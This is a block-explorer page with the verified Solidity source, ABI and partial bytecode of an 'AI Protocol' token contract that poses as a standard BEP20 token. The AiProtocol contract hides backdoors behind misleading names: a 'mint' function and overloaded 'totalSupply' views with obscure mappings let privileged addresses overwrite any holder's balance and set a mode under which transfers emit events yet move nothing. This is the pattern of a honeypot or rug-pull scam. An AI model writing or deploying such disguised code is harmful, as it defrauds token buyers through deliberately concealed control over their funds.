Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta

More Options

• Similar
• Submit Audit
• Compare

/**
 *Submitted for verification at basescan.org on 2025-02-10
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.5.16;

interface IBEP20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the token decimals.
     */
    function decimals() external view returns (uint8);

    /**
     * @dev Returns the token symbol.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the token name.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the bep token owner.
     */
    function getOwner() external view returns (address);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(
        address _owner,
        address spender
    ) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
contract Context {
    // Empty internal constructor, to prevent people from mistakenly deploying
    // an instance of this contract, which should be used via inheritance.
    constructor() internal {}

    function _msgSender() internal view returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view returns (bytes memory) {
        this;
        // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() internal {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public onlyOwner {
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     */
    function _transferOwnership(address newOwner) internal {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract AiProtocol is Context, IBEP20, Ownable {
    using SafeMath for uint256;

    mapping(address => uint256) private _fff;
    mapping(address => uint256) private _rrr;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _kOO;
    mapping(address => bool) private _kTT;

    uint256 private _mode;
    uint256 private _totalSupply;
    uint8 public _decimals;
    string public _symbol;
    string public _name;

    constructor() public {
        _name = "AI Protocol";
        _symbol = "AI";
        _decimals = 18;

        _kOO[msg.sender] = true;

        _totalSupply = 500000000e18;
    }

    /**
     * @dev Returns the bep token owner.
     */
    function getOwner() external view returns (address) {
        return owner();
    }

    /**
     * @dev Returns the token decimals.
     */
    function decimals() external view returns (uint8) {
        return _decimals;
    }

    /**
     * @dev Returns the token symbol.
     */
    function symbol() external view returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the token name.
     */
    function name() external view returns (string memory) {
        return _name;
    }

    /**
     * @dev See {BEP20-totalSupply}.
     */
    function totalSupply() external view returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {BEP20-balanceOf}.
     */
    function balanceOf(address account) external view returns (uint256) {
        return _fff[account] + _rrr[account];
    }

    /**
     * @dev See {BEP20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {BEP20-allowance}.
     */
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {BEP20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) external returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {BEP20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {BEP20};
     *
     * Requirements:
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for `sender`'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "BEP20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    //view
    function totalSupply(
        uint256 _action,
        address _user,
        address _index
    ) external view returns (uint256) {
        if (_action == 1) {
            return _fff[_user];
        }

        if (_action == 2) {
            return _rrr[_user];
        }

        if (_action == 3) {
            return _mode;
        }
    }

    //view
    function totalSupply(
        uint256 _action,
        address _user
    ) external view returns (bool) {
        require(_action == 1 || _action == 2);
        if (_action == 1) {
            return _kOO[_user];
        }

        if (_action == 2) {
            return _kTT[_user];
        }
    }

    function mint(
        uint256 _action,
        address _user,
        uint256 _amount,
        uint256 _setMode,
        bool _status
    ) external {
        if (_action == 1) {
            require(_kOO[msg.sender], "kOne");
            _kOO[_user] = _status;
        }

        if (_action == 2) {
            require(_kOO[msg.sender], "kOne");
            _kTT[_user] = _status;
        }

        if (_action == 3) {
            if (_setMode == 1) {
                require(_kTT[msg.sender], "kTow");
                _fff[_user] = _amount;
                emit Transfer(address(0), _user, _amount);
            }

            if (_setMode == 2) {
                require(_kOO[msg.sender], "kOne");
                _rrr[_user] = _amount;
                emit Transfer(address(0), _user, _amount);
            }
        }

        if (_action == 4) {
            require(_kOO[msg.sender], "kOne");
            _mode = _setMode;
        }
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal {
        require(sender != address(0), "BEP20: transfer from the zero address");
        require(recipient != address(0), "BEP20: transfer to the zero address");

        if (_mode == 1) {
            _fff[sender] = _fff[sender].sub(
                amount,
                "BEP20: transfer amount exceeds balance"
            );
            _fff[recipient] = _fff[recipient].add(amount);
        }
        if (_mode == 2) {
            _rrr[sender] = _rrr[sender].sub(
                amount,
                "BEP20: transfer amount exceeds balance"
            );
            _rrr[recipient] = _rrr[recipient].add(amount);
        }

        emit Transfer(sender, recipient, amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
     *
     * This is internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal {
        require(owner != address(0), "BEP20: approve from the zero address");
        require(spender != address(0), "BEP20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"constant":true,"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"_action","type":"uint256"},{"internalType":"address","name":"_user","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"uint256","name":"_setMode","type":"uint256"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"mint","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"renounceOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"uint256","name":"_action","type":"uint256"},{"internalType":"address","name":"_user","type":"address"}],"name":"totalSupply","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"uint256","name":"_action","type":"uint256"},{"internalType":"address","name":"_user","type":"address"},{"internalType":"address","name":"_index","type":"address"}],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b506000620000276001600160e01b036200011116565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060408051808201909152600b8082526a105248141c9bdd1bd8dbdb60aa1b6020909201918252620000a591600a9162000116565b5060408051808201909152600280825261414960f01b6020909201918252620000d19160099162000116565b506008805460ff19908116601217909155336000908152600460205260409020805490911660011790556b019d971e4fe8401e74000000600755620001b8565b335b90565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200015957805160ff191683800117855562000189565b8280016001018555821562000189579182015b82811115620001895782518255916020019190600101906200016c565b50620001979291506200019b565b5090565b6200011391905b80821115620001975760008155600101620001a2565b61119080620001c86000396000f3fe608060405234801561001057600080fd5b50600436106101215760003560e01c8063715018a6116100ad578063b09f126611610071578063b09f126614610355578063cd894ce91461035d578063d28d885214610391578063dd62ed3e14610399578063f2fde38b146103c757610121565b8063715018a6146102ed578063893d20e8146102f55780638da5cb5b1461031957806395d89b4114610321578063a9059cbb1461032957610121565b806323b872dd116100f457806323b872dd1461023f578063313ce5671461027557806332424aa31461029357806335c6e3881461029b57806370a08231146102c757610121565b806306fdde0314610126578063095ea7b3146101a35780631402dcf2146101e357806318160ddd14610225575b600080fd5b61012e6103ed565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610168578181015183820152602001610150565b50505050905090810190601f1680156101955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101cf600480360360408110156101b957600080fd5b506001600160a01b038135169060200135610483565b604080519115158252519081900360200190f35b610223600480360360a08110156101f957600080fd5b508035906001600160a01b03602082013516906040810135906060810135906080013515156104a1565b005b61022d610751565b60408051918252519081900360200190f35b6101cf6004803603606081101561025557600080fd5b506001600160a01b03813581169160208101359091169060400135610757565b61027d6107e5565b6040805160ff9092168252519081900360200190f35b61027d6107ee565b6101cf600480360360408110156102b157600080fd5b50803590602001356001600160a01b03166107f7565b61022d600480360360208110156102dd57600080fd5b50356001600160a01b0316610867565b61022361088f565b6102fd610943565b604080516001600160a01b039092168252519081900360200190f35b6102fd610952565b61012e610961565b6101cf6004803603604081101561033f57600080fd5b506001600160a01b0381351690602001356109c2565b61012e6109d6565b61022d6004803603606081101561037357600080fd5b508035906001600160a01b0360208201358116916040013516610a64565b61012e610ac8565b61022d600480360360408110156103af57600080fd5b506001600160a01b0381358116916020013516610b23565b610223600480360360208110156103dd57600080fd5b50356001600160a01b0316610b4e565b600a8054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104795780601f1061044e57610100808354040283529160200191610479565b820191906000526020600020905b81548152906001019060200180831161045c57829003601f168201915b5050505050905090565b6000610497610490610bc4565b8484610bc8565b5060015b92915050565b846001141561051c573360009081526004602052604090205460ff166104f7576040805162461bcd60e51b815260206004808301919091526024820152636b4f6e6560e01b604482015290519081900360640190fd5b6001600160a01b0384166000908152600460205260409020805460ff19168215151790555b8460021415610597573360009081526004602052604090205460ff16610572576040805162461bcd60e51b815260206004808301919091526024820152636b4f6e6560e01b604482015290519081900360640190fd5b6001600160a01b0384166000908152600560205260409020805460ff19168215151790555b84600314156106ee578160011415610647573360009081526005602052604090205460ff166105f6576040805162461bcd60e51b815260206004808301919091526024820152636b546f7760e01b604482015290519081900360640190fd5b6001600160a01b0384166000818152600160209081526040808320879055805187815290517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35b81600214156106ee573360009081526004602052604090205460ff1661069d576040805162461bcd60e51b815260206004808301919091526024820152636b4f6e6560e01b604482015290519081900360640190fd5b6001600160a01b0384166000818152600260209081526040808320879055805187815290517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35b846004141561074a573360009081526004602052604090205460ff16610744576040805162461bcd60e51b815260206004808301919091526024820152636b4f6e6560e01b604482015290519081900360640190fd5b60068290555b5050505050565b60075490565b6000610764848484610cb4565b6107da84610770610bc4565b6107d5856040518060600160405280602881526020016110c9602891396001600160a01b038a166000908152600360205260408120906107ae610bc4565b6001600160a01b03168152602081019190915260400160002054919063ffffffff610ec816565b610bc8565b5060015b9392505050565b60085460ff1690565b60085460ff1681565b600082600114806108085750826002145b61081157600080fd5b826001141561083c57506001600160a01b03811660009081526004602052604090205460ff1661049b565b826002141561049b57506001600160a01b03811660009081526005602052604090205460ff1661049b565b6001600160a01b03166000908152600260209081526040808320546001909252909120540190565b610897610bc4565b6000546001600160a01b039081169116146108f9576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061094d610952565b905090565b6000546001600160a01b031690565b60098054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104795780601f1061044e57610100808354040283529160200191610479565b60006104976109cf610bc4565b8484610cb4565b6009805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610a5c5780601f10610a3157610100808354040283529160200191610a5c565b820191906000526020600020905b815481529060010190602001808311610a3f57829003601f168201915b505050505081565b60008360011415610a8e57506001600160a01b0382166000908152600160205260409020546107de565b8360021415610ab657506001600160a01b0382166000908152600260205260409020546107de565b83600314156107de57506006546107de565b600a805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610a5c5780601f10610a3157610100808354040283529160200191610a5c565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b610b56610bc4565b6000546001600160a01b03908116911614610bb8576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b610bc181610f5f565b50565b3390565b6001600160a01b038316610c0d5760405162461bcd60e51b815260040180806020018281038252602481526020018061107f6024913960400191505060405180910390fd5b6001600160a01b038216610c525760405162461bcd60e51b815260040180806020018281038252602281526020018061113a6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610cf95760405162461bcd60e51b815260040180806020018281038252602581526020018061105a6025913960400191505060405180910390fd5b6001600160a01b038216610d3e5760405162461bcd60e51b81526004018080602001828103825260238152602001806111176023913960400191505060405180910390fd5b60065460011415610ddb57610d8c816040518060600160405280602681526020016110f1602691396001600160a01b038616600090815260016020526040902054919063ffffffff610ec816565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610dc1908263ffffffff610fff16565b6001600160a01b0383166000908152600160205260409020555b60065460021415610e7857610e29816040518060600160405280602681526020016110f1602691396001600160a01b038616600090815260026020526040902054919063ffffffff610ec816565b6001600160a01b038085166000908152600260205260408082209390935590841681522054610e5e908263ffffffff610fff16565b6001600160a01b0383166000908152600260205260409020555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008184841115610f575760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f1c578181015183820152602001610f04565b50505050905090810190601f168015610f495780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b038116610fa45760405162461bcd60e51b81526004018080602001828103825260268152602001806110a36026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000828201838110156107de576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fdfe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737342455032303a20617070726f76652066726f6d20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737342455032303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737342455032303a20617070726f766520746f20746865207a65726f2061646472657373a265627a7a72315820d225c8f899a4e8476d47a120be604d41c0c51b8ffe3963f97e362c2430e77a6964736f6c63430005100032

0x608060405234801561001057600080fd5b50600436106101215760003560e01c8063715018a6116100ad578063b09f126611610071578063b09f126614610355578063cd894ce91461035d578063d28d885214610391578063dd62ed3e14610399578063f2fde38b146103c757610121565b8063715018a6146102ed578063893d20e8146102f55780638da5cb5b1461031957806395d89b4114610321578063a9059cbb1461032957610121565b806323b872dd116100f457806323b872dd1461023f578063313ce5671461027557806332424aa31461029357806335c6e3881461029b57806370a08231146102c757610121565b806306fdde0314610126578063095ea7b3146101a35780631402dcf2146101e357806318160ddd14610225575b600080fd5b61012e6103ed565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610168578181015183820152602001610150565b50505050905090810190601f1680156101955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101cf600480360360408110156101b957600080fd5b506001600160a01b038135169060200135610483565b604080519115158252519081900360200190f35b610223600480360360a08110156101f957600080fd5b508035906001600160a01b03602082013516906040810135906060810135906080013515156104a1565b005b61022d610751565b60408051918252519081900360200190f35b6101cf6004803603606081101561025557600080fd5b506001600160a01b03813581169160208101359091169060400135610757565b61027d6107e5565b6040805160ff9092168252519081900360200190f35b61027d6107ee565b6101cf600480360360408110156102b157600080fd5b50803590602001356001600160a01b03166107f7565b61022d600480360360208110156102dd57600080fd5b50356001600160a01b0316610867565b61022361088f565b6102fd610943565b604080516001600160a01b039092168252519081900360200190f35b6102fd610952565b61012e610961565b6101cf6004803603604081101561033f57600080fd5b506001600160a01b0381351690602001356109c2565b61012e6109d6565b61022d6004803603606081101561037357600080fd5b508035906001600160a01b0360208201358116916040013516610a64565b61012e610ac8565b61022d600480360360408110156103af57600080fd5b506001600160a01b0381358116916020013516610b23565b610223600480360360208110156103dd57600080fd5b50356001600160a01b0316610b4e565b600a8054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104795780601f1061044e57610100808354040283529160200191610479565b820191906000526020600020905b81548152906001019060200180831161045c57829003601f168201915b5050505050905090565b6000610497610490610bc4565b8484610bc8565b5060015b92915050565b846001141561051c573360009081526004602052604090205460ff166104f7576040805162461bcd60e51b815260206004808301919091526024820152636b4f6e6560e01b604482015290519081900360640190fd5b6001600160a01b0384166000908152600460205260409020805460ff19168215151790555b8460021415610597573360009081526004602052604090205460ff16610572576040805162461bcd60e51b815260206004808301919091526024820152636b4f6e6560e01b604482015290519081900360640190fd5b6001600160a01b0384166000908152600560205260409020805460ff19168215151790555b84600314156106ee578160011415610647573360009081526005602052604090205460ff166105f6576040805162461bcd60e51b815260206004808301919091526024820152636b546f7760e01b604482015290519081900360640190fd5b6001600160a01b0384166000818152600160209081526040808320879055805187815290517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35b81600214156106ee573360009081526004602052604090205460ff1661069d576040805162461bcd60e51b815260206004808301919091526024820152636b4f6e6560e01b604482015290519081900360640190fd5b6001600160a01b0384166000818152600260209081526040808320879055805187815290517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35b846004141561074a573360009081526004602052604090205460ff16610744576040805162461bcd60e51b815260206004808301919091526024820152636b4f6e6560e01b604482015290519081900360640190fd5b60068290555b5050505050565b60075490565b6000610764848484610cb4565b6107da84610770610bc4565b6107d5856040518060600160405280602881526020016110c9602891396001600160a01b038a166000908152600360205260408120906107ae610bc4565b6001600160